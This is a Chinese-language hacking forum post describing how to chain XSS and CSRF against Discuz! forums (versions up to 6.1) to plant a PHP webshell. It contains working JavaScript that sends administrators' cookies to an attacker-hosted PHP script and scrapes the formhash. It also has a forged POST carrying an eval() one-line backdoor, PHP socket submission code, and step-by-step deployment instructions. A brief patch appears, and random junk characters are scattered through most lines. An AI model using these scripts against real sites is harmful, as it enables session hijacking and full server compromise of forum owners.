Discuz XSS得webshell; V2 `* v- W( z+ r5 m" J; Z
By racle @tian6.com
( M) ~# w- f" a' _+ V! L+ l欢迎转帖.但请保留版权信息./ t, j, d4 o# {4 D1 r" \: V4 T5 {$ Q
受影响版本 iscuz<=6.1.0,gbk+utf+big5. h0 b9 Z0 r. {$ K; X# T; z6 I, C
8 O2 w& O. B% l- W) O; {
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
' B+ ?3 D; u' p& P6 V+ v' H
9 v" j+ _8 }! z5 y; H. K9 I8 ?& ?7 B" s; U
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706* P; y+ T' k5 B# T8 ]
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.$ M9 ?- w- L3 a8 }* C
3 J& p) J1 Q2 | x分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等.." Y% g# ~0 m4 v" R$ g$ C
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS! F: N- Y& A! a
. _7 l% S# S. p2 o+ J' g8 t% J4 d
+ a f8 t0 z% v- ]4 K1 B0 i5 f+ _----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------2 N8 ~0 Y" l( p. K. Q
) O3 z4 [. B1 W) k6 d' ?
% L' k" v. T% z Z
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.4 e0 P( Z( S7 ?' I7 G, I
( t" D' y8 [. `9 h# c
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.* R M+ n# \6 K. N* O9 c
( f& s+ I1 |% R; g5 v# qproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
6 U( @! R3 j4 c0 I/ ~9 s- D' q2 b( U% \
) r1 ]9 _8 X% Y. N4 V
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
# Z( f& A; E p/ J
$ w; N0 [1 ?: e9 ] x/ h5 j global $runwizardfile, $runwizardhistory;3 k: U" y& O; F! H* G4 l
0 H! a" c4 l. T# L: ~$ o0 S& r $fp = fopen($runwizardfile, 'w');, e, u( T# m' ^# c( Z/ `- S
' b1 {* q0 r9 |( @ fwrite($fp, serialize($runwizardhistory));7 p' i# G! ]" j' n& Z- r
) f. U! v' [9 w) J7 Y% t; P/ e fclose($fp);+ C+ K. v. ]5 ~4 N3 Y% N" d7 q# i
- c* v: D7 S9 Q, L/ F1 l" l; u7 i- \}' b3 L1 |1 M- E a" N/ b
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.. O+ d7 w" |. o3 D, o1 O- ~: z0 N: l2 D
以下是修补的办法:function saverunwizardhistory() {3 \8 n+ f4 z) j9 w' ^, b
]0 w- M9 p) A+ T' E global $runwizardfile, $runwizardhistory;" m* |* \2 N$ i
; W6 \& S# [6 x6 @2 W' T- B $fp = fopen($runwizardfile, 'w');
4 s5 k& R2 Z4 Q# [! @1 Y% X# h0 a% `( x
$s = '<?php exit;?>';3 \4 n3 U! Q5 c0 ?
) J2 F9 O3 {' W4 ^ $s .= serialize($runwizardhistory);& A5 M& @" Z1 a* u+ W6 C
0 _3 o9 b- m! D fwrite($fp, $s);
" A, E1 X0 d; l( M$ V- o8 u$ I( [& E* [
fclose($fp);0 V" f. D9 a0 O" @# g
' d$ X# ]; p7 A& {! n" D) w# M
}2 `9 K6 x$ L) k3 G- m
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
- }4 M4 I* @9 T" ]; {. N# [5 u1 t& G8 b- g5 t% L* v
* D/ h f, J2 m- B8 X
5 z" {3 B5 e9 Y0 B1 Z& m----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------0 g, U! E, z/ P3 q d
% u/ D) q0 U. J9 G n
6 }3 f2 {3 ^, I) Y% R4 L2 h 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.9 A! P: I& F8 F3 ^) E# D
6 z3 h4 r3 X) D( d2 V. v" D: c5 x我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.1 _6 r5 {: t# r: \( J) w
. \+ _1 K v7 |6 e' R* t这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.+ z! _$ F; w& ^) `9 E
/ e/ G9 b }; ]4 z9 @. b" o首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:5 @" R' u4 _9 ^# r5 C# r; F& y
" a" L# R5 k. ?3 [# S
var url="http://目标网站/admincp.php";
$ U: Y) Q1 |3 Q3 j. C2 C. r m+ k' k# X9 _% A0 K
/*获得cookies*/
t: G( m1 | P5 A- G, U- F: n9 N. S3 C1 E! J" D5 ~
function getURL(s) {6 s& { V) k1 j, J$ `8 s" I
l6 X0 S# D# A2 P! ?$ u
var image = new Image();& ]3 w& K' D$ s
% Y2 O( \2 b' |% H. y
image.style.width = 0;
7 S' d0 ]+ h! u; W0 F
& X- p+ l# S' p; |/ |3 Kimage.style.height = 0;
" E( m# y# X& \7 T7 q# Q2 V/ ?; I/ o9 O8 [1 D! N" H" a
image.src = s;
+ D; f* t1 [ |" p* j3 N$ @3 B0 V! J3 s9 e: U
}1 m+ X3 ?* T8 q$ f- Q
+ E8 u/ }4 z9 `! f5 d7 ngetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
1 |! T0 `0 L7 p9 G复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
, J, H# u; j7 b, e复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ! N: |1 T- u6 P+ X
g6 O4 b8 }) j9 w; P
9 T. {0 Z% Y1 j
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
% T' d' n) ^# H9 B0 @% j3 Y
B, p% ?9 A! X( q
" ]6 u/ p; y" d% O& F- P- x9 V5 H- g* e- }; m: d
/*hash*/+ R$ ?9 o7 [/ D7 p
. @( {; ~$ ?2 X0 V
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");4 b/ P6 K% D: p" b% ?5 c$ f( q
2 r7 O: Q) b/ ~xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
3 |) o2 i9 x3 G/ j
. R( \- H( j+ [5 l6 FxmlHttpReq.send();
. s& }( ~( |# p0 N& h5 r% r
: H' K' [6 a6 X% |* U( l$ Rvar resource = xmlHttpReq.responseText;8 K5 A5 i2 G( ?: [1 Y0 [# l' t* {4 }
) X1 \4 h' l1 a1 Kvar numero = resource.search(/formhash/);( H2 _: H! M; ?" x7 B# ?5 ^
/ r, e+ i- q" i- u
var formhash=encodeURIComponent(resource.substr(numero+17,8));& q! R; b& f- D' C
0 `' P) U! f: c
/ @# N, p( s j& J
9 J' ]" U2 M# W h' Tvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
3 C, Y' t* O1 {+ i" a: U& I. |
4 C9 m0 U: H1 m2 ?: _/ B4 pxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 " O5 R0 f' H. y- V$ [# @: Q
1 n ?; y7 G) x! R, A
xmlHttpReq.setRequestHeader("Referer", url);
0 B8 w, _% p5 |+ }$ A& L
$ b. ]& f( t n$ k6 o. xxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");! [1 H0 [' X) D/ ?
1 Q* \) V8 h! G' f5 { x) w& J3 e
xmlHttpReq.setrequestheader("content-length",post.length);
5 K: H" ]6 i- u. J
3 X7 W5 Y1 @7 `% }9 @: F e6 GxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
( V+ o Z4 v3 O4 M! l' Y! Z t& J: t9 o# C, U& N' M
xmlHttpReq.send(post);//发送数据
5 N! L; t, k, V4 G复制代码这里HASH我假设正确,这样提交,也无须cookies& j3 {8 f$ d" E0 M' U% [( |
3 Q4 j0 V- a; v+ W再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);4 R0 b0 q9 o. w& H3 P
+ R( ^ `* B7 @& oif (!$sock) die("$errstr ($errno)\n");
1 ?: H$ C7 j; e
/ j1 ? [$ ?6 }% r) }) ^$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
, l% t- k3 t1 m4 z/ A5 `. r, D# V! v1 B+ s8 z5 R( H0 z
/ y, t! y+ G* Z* U0 }1 G# R/ ~
1 n+ C) \; |! u" U
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");- P! l9 w- X4 W6 x/ U3 m0 c* e, E j% N
. f( l. x% |9 |. D- G3 b: Q9 g
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");& {% W7 [# J+ _2 T" Q: M( O
* R) K! ^3 i; G* cfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
- E, |: D7 x, L7 R$ \% [3 c+ E, x9 E; [9 _+ o& C: Q: z
fwrite($sock, "Accept-Language: zh-cn\r\n");) p2 w/ F1 K9 r' r5 f6 {
B# s( p- v3 S; Lfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");' Q) P4 M3 {& E. o; x
9 |9 ~9 R/ r* T3 v: v2 p- ifwrite($sock, "Accept-Encoding: gzip, deflate\r\n");7 j2 y0 s# H% H2 c* U% P+ m
# U2 q' }! y: Z) s* q' w6 N$ ]
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
5 P6 O! N: B4 j: Z* M
7 L( W2 S! ?% M. T2 I: o/ p( Ffwrite($sock, "Host: $url\r\n");
+ a& w1 k# \1 Z5 }, \9 S$ s1 z a* u. F8 M* `
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");: ?* V0 j. U( Z6 ~4 s; A& j
5 Q1 S8 W9 T; O0 }3 l( ufwrite($sock, "Connection: Keep-Alive\r\n");2 K V1 I9 Y$ R
c0 U; T# l4 H8 ]" Wfwrite($sock, "Cache-Control: no-cache\r\n");
- n) C+ h- e* {( D' n, ?& y: G3 ]" |8 k$ |6 E. ]% v
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
/ t2 g1 q7 G1 F! H8 [! S I2 ^. j$ Y3 Z* F3 w
fwrite($sock, $data);2 {3 W$ H# a# r5 n! {$ c
X* v6 _7 b6 i: s3 q- L T; {
- B1 R! T5 c- H# L
2 ^7 ~3 |) B& |4 x8 d. D- q$headers = "";
D' \) w* m2 i" T# @7 C3 C/ u) J$ `4 N; C) d0 e6 c5 c s" \
while ($str = trim(fgets($sock, 4096)))6 J9 R5 X) }" S) t
2 c( \. d: v# i0 a/ d- x J7 V8 u
$headers .= "$str\n";4 N+ A% w Q2 H3 N
6 {2 D, w+ N; X4 V! Secho "\n";# [; J7 w: G# k. V3 u& x. ]1 J
6 S# e9 d+ }- t F5 D
$body = "";# g* e+ B; m+ y7 m
( o1 A" }7 @3 r- c# Z
while (!feof($sock)). \& o. B. y/ T+ D7 P) P3 g8 Y* q9 Z
5 N7 d* o- o7 Z
$body .= fgets($sock, 4096);# }- A( c' Q6 `6 p
" d& q, v3 t* \8 g% [7 sfclose($sock);
) e7 E3 O/ h: U7 |8 [0 }1 `8 {/ A9 y6 o4 n& L$ S* {
echo $body;
9 x- h" Z; @% }2 P复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
( x! [5 J+ F4 L, P& O! @3 m( L1 Y: {1 l- n, |+ F4 L- T
7 A- U- d* L5 N! X
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------) Z8 P; Z# Z% Z5 [; @
1 f+ ]4 [" L! Z9 z% G q
0 @3 J2 w+ E J8 T9 o: X( a1 HP SOCKET利用方法首先打开racle.js% `' x. l$ ]6 Y G
$ g. W. C6 ?* nvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home, E- g0 ]) C& D
# o* o- Y7 w0 I: Z0 d1 R! ~
. ~* ~2 X( f/ J% v: H1 {* P) \, f- b3 R
然后打开racle@tian6.php, P( D7 @' K) j. z
( j P/ N. J% k: e/ h$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
) c6 f& q5 p8 b9 Z) R$ r$ V" I- T
- _( r3 o) `$ G8 y" W! k7 q: `+ z+ ]% {: l, W
( V3 |: P* c. |
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
3 z, ]1 ^0 g4 v9 o/ ~1 a' f" o3 b8 D0 `6 G% S
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));" a+ k- d1 N I) O( A+ p) E! [2 s7 `( h
+ i+ ]7 l( p# o# n7 j2 s& \. P/ F为
; Q7 m1 q) l4 W2 Y- B
" s) `! w5 U GgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
7 l) M0 b# o9 R. s* J4 ?复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
1 j8 B0 W' C% \1 ?, n% ?6 ^6 h4 g2 u8 d) Q8 T" N, U8 \
k; D# I% Y, s7 E( w
& j M5 x; F7 Q X S1 I如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
; |; B& R; u/ `0 s' L8 i
! k/ e) Q% t. U! dvar formhash=encodeURIComponent(resource.substr(numero+17,8));
0 w/ T# o' B* a/ U+ M7 \& d) k) x0 o' L% g- b7 |+ Y3 ]$ v; m/ H
为
/ P" t9 V! g7 M: n
}6 o* x l5 L. h# R* Cvar formhash=encodeURIComponent(resource.substr(numero+9,8));( y/ {, d h# F2 {3 }
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.8 G7 C- y, n% i/ I1 ^- W- d
Q5 W! F* r; ~( D如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.7 X6 F2 A- [0 N9 K" x
& Y9 a. G2 o( d如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.) C8 B+ Y0 y T0 ^
6 G! G7 r/ Z5 ~1 ?" g不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.% w* w9 C/ k' ^; f! f
3 O+ ~( ^2 W' t
|